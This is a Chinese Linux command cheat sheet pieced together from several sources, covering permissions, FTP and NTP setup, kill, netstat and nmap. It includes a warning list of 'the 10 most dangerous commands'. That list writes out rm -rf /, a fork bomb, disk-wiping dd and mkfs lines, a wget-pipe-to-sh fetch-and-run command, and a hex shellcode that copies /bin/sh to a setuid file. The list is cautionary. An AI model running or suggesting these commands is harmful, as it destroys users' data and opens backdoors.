10个字符表示文件类别和权限,具体如下:
第一个字符表示文件类别,代表的含义如下:
-:普通文件
d:目录文件
b:块设备文件。
c:字符设备文件。
l:符号链接文件。
后面9个字符代表3组访问权限:
第1组的3个字符是授权文件所有者的权限;
第2组的3个字符是授权同组用户的权限;
第3组的3个字符是授权其他用户的权限。
每一组的3个字符一次表示读、写、执行权限,其中:
r:表示有读权限。
w:表示有写权限。
x:表示有执行权限。
-:表示没有相应的权限。
suse linux 命令
1.修改vftpd配置文件
vi /etc/vsftpd .conf #listen=YES。
vi /etc/xinetd.d/vsftpd 将“disable=yes” 改为 “disable=no”使xinetd服。
务启动后接收到ftp连接请求时,能够自动启动vsftpd服务进程。
2. mkdir -p /srv/ftp/linux-10 创建文件夹 -p 如果文件夹不存在自动创。
建
3. chown -R ftp:ftp /srv/ftp/linux-10 指定linux-10目录及其子目录的拥有者为ftp用户和ftp。
组
4. chmod -R 755 /srv/ftp/linux-10 指定linux-10目录及其子目录的访问权限。
5. mount /dev/hdc /srv/ftp/linux-10/disk1 将设备中的内容挂载到disk1中。
umount /srv/ftp/linux-10/disk1 卸载掉disk1中挂载的文件。
6. /etc/init.d/xinetd start 启动FTP服务。
7. df命令
功能:检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间,目前还剩。
下多少空间等信息。
语法:df [选项]
说明:df命令可显示所有文件系统对i节点和磁盘块的使用情况。
该命令各个选项的含义如下:
-a 显示所有文件系统的磁盘使用情况,包括0块(block)的文件系统,如/proc文件系统。
-k 以k字节为单位显示。
-i 显示i节点信息,而不是磁盘块。
-t 显示各指定类型的文件系统的磁盘空间使用情况。
-x 列出不是某一指定类型文件系统的磁盘空间使用情况(与t选项相反)。
-T 显示文件系统类型。
8. free命令
free命令的功能是查看当前系统内存的使用情况,它显示系统中剩余及已用的物理内存和交换内存,
以及共享内存和被核心使用的缓冲区。
该命令的一般格式为: free [-b | -k | -m] 命令中各选项的含义如下:
-b 以字节为单位显示。
-k 以K字节为单位显示。
-m 以兆字节为单位显示。
9. sync命令
sync命令是强制把内存中的数据写回硬盘,以免数据的丢失。
10. shutdown命令
shutdown 命令可以安全地关闭或重启Linux系统,它在系统关闭之前给系统上的所有登录用户提示一。
条警告信息。该命令还允许用户指定一个时间参数,可以是一个精确的时间,也可以是从现在开始的一个。
时间段。精确时间的格式是hh:mm,表示小时和分钟;时间段由“+”和分钟数表示。系统执行该命令后,
会自动进行数据同步的工作。
该命令的一般格式为: shutdown [选项] [时间] [警告信息] 命令中各选项的含义为:
- k 并不真正关机,而只是发出警告信息给所有用户。
- r 关机后立即重新启动。
- h 关机后不重新启动。
- f 快速关机,重启动时跳过fsck。
- n 快速关机,不经过init程序。
- c 取消一个已经运行的shutdown。
需要特别说明的是,该命令只能由超级用户使用。
11. date命令
date命令的功能是显示和设置系统日期和时间。
12. cal命令
cal命令的功能是显示某年某月的日历。
该命令的一般格式为: cal [选项] [月 [年]] 命令中各选项的含义为:
- j 显示出给定月中的每一天是一年中的第几天(从1月1日算起)。
- y 显示出整年的日历。
13. echo命令
echo命令的功能是在显示器上显示一段文字,一般起到一个提示的作用。
该命令的一般格式为: echo [ -n ] 字符串。
其中选项n表示输出文字后不换行;字符串可以加引号,也可以不加引号。用echo命令输出加引号的字。
符串时,将字符串原样输出;用echo命令输出不加引号的字符串时,将字符串中的各个单词作为字符串输。
出,各字符串之间用一个空格分割。
14. 从ftp安装linux系统。
install=ftp://ip(服务器ip地址)/linux-10/disk1 hostip=ip(新系统ip)/24 gateway=192.168.0.1(。
网关)
15. chkconfig --level 235 ntp on 使用系统启动时,自动启动NTP服务。
16. /etc/init.d/ntp restart 启动NTP服务。
17. route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 配置Linux多播路由 添加。
该路由项
18. netstat -nr 查看路由表。
19. netstat -an|less 查看服务端口的状态。
20. /etc/init.d/novell-tomcat4 restart 重启Tomcat(在iManage中安装插件后)。
21. chmod 777 文件名 修改文件权限。
22. ndsconfig rm 删除ED实例。
23. 精确同步时间
先将ntp服务停掉 rcxntpd stop 然后执行 ntpdate 命令 (多次执行缩短时间差) 最后启动 。
rcxntpd start
24. Linux 更改MAC地址:。
1.> 临时更改:
# ifdown eth0。
# ifconfig eth0 hw ether 0029340830249(MAC地址)。
# ifup eth0。
2.> 永久生效:(对于suse不起作用)。
# vi /etc/rc.d/rc.local。
ifdown eth0。
ifconfig eth0 hw ether 002934083024(MAC地址)。
ifup eth0。
# service network restart(suse 9:rcnetwork restart)。
3.> 添加新网卡:
a. VM --> 添加网卡。
b. 启动时按 '<-' , 确定相关默认配置。
c. 在/etc/sysconfig/network-s/创建新网卡文件。
d. 配置新网卡文件 。
25. Linux 更改MAC地址:。
1.1 redhat:
a. $ cd /etc/sysconfig/network-s。
b. Edit file "ifcfg-eth0", change to your real MAC address。
(Use "ifconfig -a" to display real MAC address.)。
c. $ /etc/init.d/network start (to restart network.)。
1.2 SuSE:
a. $ cd /etc/sysconfig/network。
b. $ mv ifcfg-eth-id-00:0c:29:ba:b2:ad ifcfg-eth0。
c. $ vi /ifcfg-eth0。
d. $ 添加 LLADDR='real MAC address'。
e. $ 到YAST里面配置静态IP。
(Use "ifconfig -a" to display real MAC address.)。
f. $ reboot(重启系统)。
2.修改redhat locale:
cd /etc/sysconfig/。
编辑i18n文件,指定自己所需的locale。
3.修改SuSE hostname:编辑/etc/HOSTNAME。
26. 增加反向代理名称 192.168.10.in-addr-arpa。
27. suse 配置ftp服务。
a. vi /etc/vsftpd.conf。
b. 将listen=yes 注释掉。
c. vi /etc/xinetd.d/vsftpd。
d. 将 disable=yes 改为 disable=no。
e. /etc/init.d/xinetd start 启动FTP服务。
(suse9只需执行c,d,e suse10都需要执行)
28. 查找文件 find 路径 -name(-size,-type) file。
29. 查找字符 grep 参数(-l 显示匹配行号,-I 忽略大小写,-r 递归查找) 'str' fielist。
30. 比较文件 diff 参数(-w忽略空格 ,-I忽略大小写 ) file file 。
31.kill
1.作用
kill命令用来中止一个进程。
2.格式
kill [ -s signal | -p ] [ -a ] pid ...。
kill -l [ signal ]。
3.参数
-s:指定发送的信号。
-p:模拟发送信号。
-l:指定信号的名称列表。
pid:要中止进程的ID号。
Signal:表示信号。
4.说明
进程是Linux系统中一个非常重要的概念。Linux是一个多任务的操作系统,系统上经常同时运行着多个进。
程。我们不关心这些进程究竟是如何分配的,或者是内核如何管理分配时间片的,所关心的是如何去控制。
这些进程,让它们能够很好地为用户服务。
Linux 操作系统包括三种不同类型的进程,每种进程都有自己的特点和属性。交互进程是由一个Shell启。
动的进程。交互进程既可以在前台运行,也可以在后台运行。批处理进程和终端没有联系,是一个进程序。
列。监控进程(也称系统守护进程)时Linux系统启动时启动的进程,并在后台运行。例如,httpd是著名。
的 Apache服务器的监控进程。
kill命令的工作原理是,向Linux系统的内核发送一个系统操作信号和某个程序的进程标识号,然后系统。
内核就可以对进程标识号指定的进程进行操作。比如在top命令中,我们看到系统运行许多进程,有时就。
需要使用kill中止某些进程来提高系统资源。在讲解安装和登陆命令时,曾提到系统多个虚拟控制台的作。
用是当一个程序出错造成系统死锁时,可以切换到其它虚拟控制台工作关闭这个程序。此时使用的命令就。
是kill,因为kill是大多数Shell内部命令可以直接调用的。
5.应用实例
(1)强行中止(经常使用杀掉)一个进程标识号为324的进程:
#kill -9 324
(2)解除Linux系统的死锁。
在Linux 中有时会发生这样一种情况:一个程序崩溃,并且处于死锁的状态。此时一般不用重新启动计算。
机,只需要中止(或者说是关闭)这个有问题的程序即可。当 kill处于X-Window界面时,主要的程序(除了。
崩溃的程序之外)一般都已经正常启动了。此时打开一个终端,在那里中止有问题的程序。比如,如果 。
Mozilla浏览器程序出现了锁死的情况,可以使用kill命令来中止所有包含有Mozolla浏览器的程序。首先。
用top命令查处该程序的PID,然后使用kill命令停止这个程序:
#kill -SIGKILL XXX。
其中,XXX是包含有Mozolla浏览器的程序的进程标识号。
(3)使用命令回收内存
我们知道内存对于系统是非常重要的,回收内存可以提高系统资源。kill命令可以及时地中止一些“越轨。
”的程序或很长时间没有相应的程序。例如,使用top命令发现一个无用 (Zombie) 的进程,此时可以使。
用下面命令:
#kill -9 XXX
其中,XXX是无用的进程标识号。
然后使用下面命令:
#free
此时会发现可用内存容量增加了。
(4)killall命令
Linux下还提供了一个killall命令,可以直接使用进程的名字而不是进程标识号,例如:
# killall -HUP inetd 。
32.rm 删除命令
rm -r 删除目录,不管目录中有没有文件。
rm -rf 强制删除,没有提示。
33.ln命令
ln -s 源文件(绝对路径) 目标文件 (软连接)
34.查看本机开放的端口
1、netstat 查看端口和连接。
netstat 列出目前已经连接的服务名。
netstat -a 列出目前已经连接的和正在监听的服务名。
netstat -an 列出目前已经连接的和正在监听的端口号(与上面的命令功能一样,只是不解释端口。
号对应的服务名)
netstat -ap 在上面命令的基础上列出连接的PID(进程号),用这个PID,可以使用KILL 来杀死连接。
例如:某个连接的PID=111,想踢出去就使用 KILL -9 111。ok!
netstat -rn 输出路由表。
2、nmap
nmap 127.0.0.1 查看本机开放的端口,会扫描所有端口。
nmap -p 1024 65535 127.0.0.1 扫描指定端口范围。
nmap -PT 192.168.1.1-111 扫描一组范围的电脑 。
35. 交互方式管理identity manager 对象。
dxcmd -host 192.168.37.133 -port 524。
36. ps -A 产看进程。
37. ssh -X (ip address) 远程连接另一系统 。
38. pkill firefox-bin(进程名) 以进程名杀进程。
39. . /opt/novell/eDirectory/bin/ndspath 设置ed的环境变量。
Linux中最危险的10个命令。
对于编程人员或或者Linux系统管理员来说,操作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误操作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!。
当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普 通用户身份下,破坏的只是自己的一亩三分地。
1. rm -rf 命令 。
rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。
rm 命令在Linux下通常用来删除文件。
rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)。
rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)。
rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)。
rm -rf *: 强制删除当前目录的所有文件。
rm -rf . : 强制删除当前文件夹及其子文件夹。
从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)。
2. :(){:|:&};: 命令 。
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:&};:。
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~。
3. 命令 > /dev/sda 。
上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4. mv 文件夹 /dev/null 。
这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)。
# mv /home/user/* /dev/null。
上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。
5. wget http://malicious_source -O- | sh 。
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)。
6. mkfs.ext3 /dev/sda 。
上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)。
7. > file 。
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “>xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
8. ^foo^bar 。
这个命令在“鲜为人知而又实用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)。
9. dd if=/dev/random of=/dev/sda 。
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)。
10. 隐藏命令 。
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;。
注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。
;
第一段 1位 表示文件类型
第二段 3位 表示所有者权限(xxx)分别表示 读(4) 写(2) 执行(1)
第三段 3位 表示所在组权限 (xxx)分别表示 读(4) 写(2) 执行(1)
第四段 4位 表示其他用户权限 (xxx)分别表示 读(4) 写(2) 执行(1)
Linux系统中,预设的情况下,系统中所有的帐号与一般身份使用者,以及root的相关信息, 都是记录在/etc/passwd文件中。每个人的密码则是记录在/etc/shadow文件下。 此外,所有的组群名称记录在/etc/group内。
扩展资料:
在Linux文件系统中,作为一种特殊类型/proc文件系统只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。/proc文件系统是一个伪文件系统,用户和应用程序可以通过/proc得到系统的信息,并可以改变内核的某些参数。
参考资料来源:百度百科-Linux文件系统。
tail -10 文件名